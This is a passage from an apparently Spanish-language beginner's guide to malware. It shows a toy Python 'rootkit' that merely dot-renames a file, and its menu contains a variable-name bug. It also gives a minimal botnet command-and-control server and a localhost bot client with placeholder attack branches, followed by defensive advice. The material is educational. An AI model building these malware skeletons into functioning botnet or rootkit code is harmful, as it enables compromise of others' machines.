        f.write("Este es un archivo oculto por un rootkit.")  # Contenido del archivo malicioso
    print(f"Archivo {archivo_oculto} creado.")

# Función para ocultar el archivo
def ocultar_archivo():
    # Verifica si el archivo ya existe
    if os.path.exists(archivo_oculto):
        # Cambia el nombre del archivo para que sea oculto (en Linux/Unix los archivos que comienzan con '.' están ocultos)
        os.rename(archivo_oculto, "." + archivo_oculto)
        print(f"Archivo {archivo_oculto} ocultado exitosamente.")
    else:
        print(f"El archivo {archivo_oculto} no existe.")

# Función para intentar detectar el archivo oculto
def detectar_archivo_oculto():
    # Intenta listar todos los archivos en el directorio actual
    archivos = os.listdir(".")
    if archivo_oculto in archivos or "." + archivo_oculto in archivos:
        print(f"El archivo {archivo_oculto} está presente en el sistema.")
    else:
        print(f"El archivo {archivo_oculto} no se encuentra en el sistema.")

# Función para eliminar el archivo
def eliminar_archivo():
    if os.path.exists("." + archivo_oculto):
        os.remove("." + archivo_oculto)
        print(f"Archivo {archivo_oculto} eliminado.")
    else:
        print(f"El archivo {archivo_oculto} no fue encontrado.")

# Función principal para ejecutar el rootkit
def ejecutar_rootkit():
    while True:
        print("1. Crear archivo malicioso")
        print("2. Ocultar archivo malicioso")
        print("3. Detectar archivo oculto")
        print("4. Eliminar archivo malicioso")
        print("5. Salir")
        
        opcion = input("Seleccione una opción: ")

        if opcion == "1":
            crear_archivo_malicioso()
        elif opcion == "2":
            ocultar_archivo()
        elif opcion == "3":
            detectar_archivo_oculto()
        elif opcion == "4":
            eliminar_archivo()
        elif opción == "5":
            print("Saliendo...")
            sys.exit()
        else:
            print("Opción no válida.")

        time.sleep(2)

if __name__ == "__main__":
    # Ejecuta el rootkit
    ejecutar_rootkit()

Paso a paso

Crear el archivo malicioso: Primero se crea el archivo que el rootkit va a ocultar.
Ocultar el archivo: La siguiente función se encarga de ocultar el archivo malicioso.
Detectar archivo oculto: Esta función intenta encontrar el archivo oculto.
Eliminar el archivo: Esta función permite eliminar el archivo.
Menú interactivo: Esta función es el menú principal que le permite al usuario elegir una de las opciones disponibles de las anteriores funciones.

Nota importante: Este Rootkit no es realista, realmente debería de evadir la detección y sobretodo, ser persistente y por control remoto.

Botnets

¿Qué son y cómo operan?

Una botnet es un grupo de dispositivos conectados a internet que han sido infectados con malware y están controlados de manera remota por un atacante. Los dispositivos pueden ser ordenador, servidores, routers, cámaras de seguridad y cualquier otro dispositivo IoT vulnerable.

Operan de la siguiente manera:

Infección inicial: El atacante utiliza un malware para comprometer dispositivos y convertirlos en bots.
Conexión: Los bots se conectan a un servidor C&C(Comando y control), controlado por el atacante. Los protocolos varían, pero suelen incluir IRC⁶, HTTP⁷ o P2P⁸.
Ejecución de tareas maliciosas: Una vez activados, los bots realizan la actividad maliciosa como podría ser un ataque DDoS, Robo de Datos, Minería de criptomonedas, etc…

Impacto en ataques DDoS

Las botnets son herramientas extremadamente efectivas para realizar ataques DDoS.

Pueden utilizar cientos de miles de bots para inundar objetivos con trafico, siendo que estos bots están distribuidos por todo el mundo, dificultando bloquear el tráfico malicioso sin afectar a usuarios legítimos.

Es complicado combatir algo así, pero las maneras podrían ser las siguientes:

Protección proactiva: Implementar firewalls⁹ e IPS¹⁰
Detección temprana: Monitorear redes en busca de tráfico inusual y herramientas como SIEM¹¹ para hacer análisis de comportamientos.
Filtrado de tráfico DDoS, servicios como Cloudflare, Akamai o servicios que suelen ofrecer proveedores de infraestructuras en las redes.

Ejemplo práctico

Ejemplo del C&C


import socket
import threading

# Dirección y puerto del servidor C&C
HOST = "0.0.0.0"  # Escucha en todas las interfaces
PORT = 9999  # Puerto utilizado para la comunicación

# Lista para almacenar las conexiones de los bots
bots = []

# Función para manejar cada bot conectado
def manejar_bot(conn, addr):
    print(f"Bot conectado desde {addr}")
    while True:
        try:
            # Recibir mensaje del bot (puede ser un comando o información)
            data = conn.recv(1024)
            if not data:
                break

            print(f"Mensaje recibido de {addr}: {data.decode()}")

            # Enviar una orden al bot (por ejemplo, realizar un ataque DDoS)
            orden = input(f"Enviar comando a {addr}: ")
            conn.send(orden.encode())  # Enviar la orden al bot

        except Exception as e:
            print(f"Error con {addr}: {e}")
            break
    
    conn.close()

# Configurar el servidor para aceptar conexiones
def servidor_CnC():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((HOST, PORT))
    server.listen(5)
    print(f"Escuchando en {HOST}:{PORT}...")

    while True:
        # Aceptar conexiones entrantes (bots)
        conn, addr = server.accept()
        bots.append(conn)
        # Crear un hilo para manejar cada bot conectado
        threading.Thread(target=manejar_bot, args=(conn, addr)).start()

if __name__ == "__main__":
    servidor_CnC()

Paso a paso

Configuración del servidor: Se configura para que le servidor escuche en todas las interfaces y en el puerto 9999.
Configuración de la lista de bots: Se mantiene una lsita de todas las conexiones activas
Función para manejar los bots: La función maneja cada bot conectado. Recibe y muestra cualquier mensaje enviado por el bot, pide al operador del servidor ingresar un comando y después envía el comando y espera a que se ejecute.
Bucle principal: En la última función se crea un socket para escuchar conexiones en el puerto 9999 y, cada vez que un bot se conecta, se acepta la conexión y se maneja en un hilo independiente.

Ejemplo del código del bot (equipo infectado)

import socket
import time

# Dirección y puerto del servidor C&C (debe coincidir con el servidor)
HOST = "127.0.0.1"  # IP del servidor C&C (usando localhost para prueba)
PORT = 9999  # Puerto que escucha el servidor C&C

# Función para conectar el bot al servidor C&C
def conectar_a_CnC():
    bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    bot.connect((HOST, PORT))
    print(f"Conectado al servidor C&C {HOST}:{PORT}")
    return bot

# Función para esperar órdenes del servidor C&C
def esperar_ordenes(bot):
    while True:
        # Recibir comandos del servidor C&C
        orden = bot.recv(1024).decode()
        if orden:
            print(f"Comando recibido: {orden}")
            # Simula la ejecución de un comando (puede ser un ataque, por ejemplo)
            if orden == "Ataque DDoS":
                print("Ejecutando ataque DDoS...")
                # Aquí iría el código del ataque DDoS
            elif orden == "Robo de Información":
                print("Recopilando información...")
                # Simula el robo de información (puedes agregar funcionalidades)
            else:
                print("Comando no reconocido.")

# Función principal que conecta el bot al servidor C&C y espera órdenes
def ejecutar_bot():
    bot = conectar_a_CnC()
    esperar_ordenes(bot)

if __name__ == "__main__":
    ejecutar_bot()

Paso a paso

Configuración del host: Primero se configura donde se conectará el bot, en este caso en el host local para las pruebas y el puerto 9999.
Conexión al C&C: La función que conecta el bot al servidor, siendo la conexión exitosa, imprime un mensaje y devuelve un socket que representa la conexión.
Mantenerse a la espera de ordenes: Después de conectarse, el bot entra en bucle para recibir comandos.
Ejecutar bot: Es la función que se encarga de conectar al bot y esperar los comandos para ejecutarlos.

Medidas generales para evitar el malware

Realmente no hay una solución mágica, pero la combinación de medidas preventivas y los buenos hábitos de seguridad, pueden minimizar el riesgo. Estas son las ideas que propongo:

Mantener el software actualizado.
Utilizar antivirus, firewalls y herramientas antimalware.
Configurar copias de seguridad.
Evitar descargas y enlaces sospechosos.
Establecer contraseñas fuertes y autenticación multifactor.
Configurar los permisos adecuadamente.
Usar redes seguras.
Hacer un uso controlado de dispositivos USB.
Segmentar la red.
Cifrado de información sensible.

La seguridad es un proceso continuo, no un estado estático. Siempre hay que mantenerse alerta y evaluar las medidas actuales, actualizándolas de ser necesario.

Reflexión y conclusión

A lo largo de este análisis sobre los diferentes tipos de malware y ejemplos prácticos de cómo pueden operar en sistemas informáticos, hemos explorado algunas de las amenazas cibernéticas más comunes y destructivas. El mundo del malware es vasto, complejo y evoluciona constantemente, lo que presenta desafíos continuos para profesionales de la Ciberseguridad, investigadores y usuarios.

Lo primero que resalta en este post es la increíble diversidad del malware. Desde los simples virus, hasta las complejas botnets, cada tipo de malware tiene sus propias características, métodos de propagación y objetivos. Aunque algunos malware’s como los troyanos o spyware han existido durante años, su evolución y sofisticación han hecho que incluso los métodos de defensa más avanzados enfrenten dificultades para detectarlos y neutralizarlos.

El principal desafío al enfrentar malware de cualquier tipo es el ciclo constante de evasión y adaptación. Los atacantes están en una carrera constante para evadir las medidas de seguridad y las defensas implementadas por los profesionales de la Ciberseguridad. Mientras que los defensores intentamos identificar patrones y comportamientos maliciosos a través de análisis de tráfico de red, monitoreo de procesos y otras tácticas, los atacantes continuamente desarrollan técnicas para eludir estos sistemas.

Esto pone en evidencia la necesidad de un enfoque de seguridad proactivo. Además de las herramientas tradicionales de detección de malware, los profesionales de Ciberseguridad debemos adoptar enfoques que incluyan educación de los usuarios, monitoreo continuo, y el uso de inteligencia artificial y aprendizaje automático para identificar comportamientos anómalos en los sistemas.

En conclusión, la amenaza del malware es más relevante que nunca, y el panorama de la ciberseguridad sigue siendo muy dinámico. La rápida evolución de las técnicas de ataque, la complejidad de los malwares y la creciente sofisticación de los ciberdelincuentes exigen que todos los que estamos involucrados en la protección de sistemas informáticos estemos en un estado constante de vigilancia y aprendizaje.

La prevención sigue siendo la mejor defensa, pero también es necesario estar preparado para hacer frente a incidentes de seguridad mediante una respuesta rápida y eficaz.

El Zero Day o Ataque de día cero, es un ataque contra una aplicación o un sistema que tiene como objetivo la ejecución de código malicioso mediante vulnerabilidades desconocidas para los usuarios y el fabricante del producto. ↩
Es un ataque distribuido que tiene como objetivo desactivar y derribar recursos en linea sobrecargandolo con solicitudes de conexión, paquetes falsos y otro tráfico malicioso. ↩
Un dispositivo IoT es un equipo conectado a internet. Por ejemplo, termostato inteligente, cámaraa de seguridad o asistente virtual. ↩
Es la parte central de un sistema operativo que gestiona el hardware y permite que los programas interactúen con él. ↩
Software básico que inicia el hardware del computador y carga el sistema operativo. UEFI es la versión más moderna y segura que reemplaza al BIOS tradicional. ↩
Protocolo usado para comunicación en tiempo real mediante texto, común en comunidades y canales de chat. ↩
Protocolo estándar para transferir datos en la web, como cargar páginas o enviar formularios. ↩
Modelo de red donde los dispositivos se conectan directamente entre sí para compartir recursos sin intermediarios. ↩
Sistema que filtra y controla el tráfico de red para proteger dispositivos o redes de accesos no autorizados. ↩
Herramienta que detecta y bloquea automáticamente actividades maliciosas en la red. ↩
Plataforma que recopila, analiza y correlaciona datos de seguridad para identificar y responder a amenazas. ↩

Iniciación al Malware - Teoría básica

Introducción al Malware

¿Por qué es importante conocer y estudiar el Malware?

¿Qué es el Malware?

Características principales del Malware

Tipos principales de Malware resumido

Análisis Detallado de los Tipos de Malware

Virus

¿Qué son?

¿Como se propagan?

Ejemplo básico de un Virus en Python

Troyanos

¿Qué son y como engañan a los usuarios?

Técnicas comunes de propagación

Ejemplo práctico

Ransomware

¿Qué son y por qué son tan lucrativos?

Consejos para mitigar el riesgo

Ejemplo práctico

Spyware

¿Como funciona y que información roba?

Ejemplo práctico

Adware

¿Por qué no es considerado siempre un Malware?

Como identificarlo y eliminarlo

Ejemplo práctico de un Adware invasivo

Gusanos

¿Cómo se diferencian de los virus?

Ejemplo práctico

Rootkits

¿Qué son y como funcionan?

Cómo se detectan

Ejemplo práctico

Botnets

¿Qué son y cómo operan?

Impacto en ataques DDoS

Ejemplo práctico

Medidas generales para evitar el malware

Reflexión y conclusión

list Contenido

Introducción al Malware

¿Por qué es importante conocer y estudiar el Malware?

¿Qué es el Malware?

Características principales del Malware

Tipos principales de Malware resumido

Análisis Detallado de los Tipos de Malware

Virus

¿Qué son?

¿Como se propagan?

Ejemplo básico de un Virus en Python

Troyanos

¿Qué son y como engañan a los usuarios?

Técnicas comunes de propagación

Ejemplo práctico

Ransomware

¿Qué son y por qué son tan lucrativos?

Consejos para mitigar el riesgo

Ejemplo práctico

Spyware

¿Como funciona y que información roba?

Ejemplo práctico

Adware

¿Por qué no es considerado siempre un Malware?

Como identificarlo y eliminarlo

Ejemplo práctico de un Adware invasivo

Gusanos

¿Cómo se diferencian de los virus?

Ejemplo práctico

Rootkits

¿Qué son y como funcionan?

Cómo se detectan

Ejemplo práctico

Botnets

¿Qué son y cómo operan?

Impacto en ataques DDoS

Ejemplo práctico

Medidas generales para evitar el malware

Reflexión y conclusión

Footnotes

list Contenido

list Contenido